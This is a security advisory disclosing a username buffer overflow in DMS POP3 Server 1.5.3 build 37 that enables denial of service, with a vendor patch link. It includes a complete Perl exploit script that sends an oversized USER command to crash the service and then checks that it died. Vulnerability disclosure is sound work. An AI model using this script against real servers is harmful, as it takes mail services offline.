Summary:
A buffer overflow exists in DMS POP3 Server for Windows 2000/XP 1.5.3 build 37 (http://www.digitalmapping.sk.ca/pop3srv/default.asp) and prior versions.

Details:
A buffer overflow occurs during the POP3 authentication process when an overly long username is supplied.  When the username buffer is overflowed successfully the DMS POP3 Service dies resulting in a denial of service.

Vulnerable Versions:
DMS POP3 Server for Windows 2000/XP 1.5.3 build 37 and prior versions

Solutions:
The vendor has provided a patch to fix this issue:
http://www.digitalmapping.sk.ca/pop3srv/Update.asp

Exploit:
#===== Start DMS_POP3_Overflow.pl =====
#
# Usage: DMS_POP3_Overflow.pl <ip> <port>
#        DMS_POP3_Overflow.pl 127.0.0.1 110
#
# DMS POP3 Server for Windows 2000/XP 1.5.3 build 37
#
# Download:
# http://www.digitalmapping.sk.ca/pop3srv/default.asp
#
# Patch:
# http://www.digitalmapping.sk.ca/pop3srv/Update.asp
#
#####################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
				    PeerPort => $ARGV[1],
				    Proto    => "TCP"))
{
	print "Attempting to kill DMS POP3 service at $ARGV[0]:$ARGV[1]...";

	sleep(1);

	print $socket "USER " . "A" x 1023;

	close $socket;

	sleep(1);

	if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
					    PeerPort => $ARGV[1],
					    Proto    => "TCP"))
	{
		close $socket;

		print "failed!\n";
	}
	else
	{
		print "successful!\n";
	}
}
else
{
	print "Cannot connect to $ARGV[0]:$ARGV[1]\n";
}
#===== End DMS_POP3_Overflow.pl =====

Discovered by Reed Arvin reedarvin[at]gmail[dot]com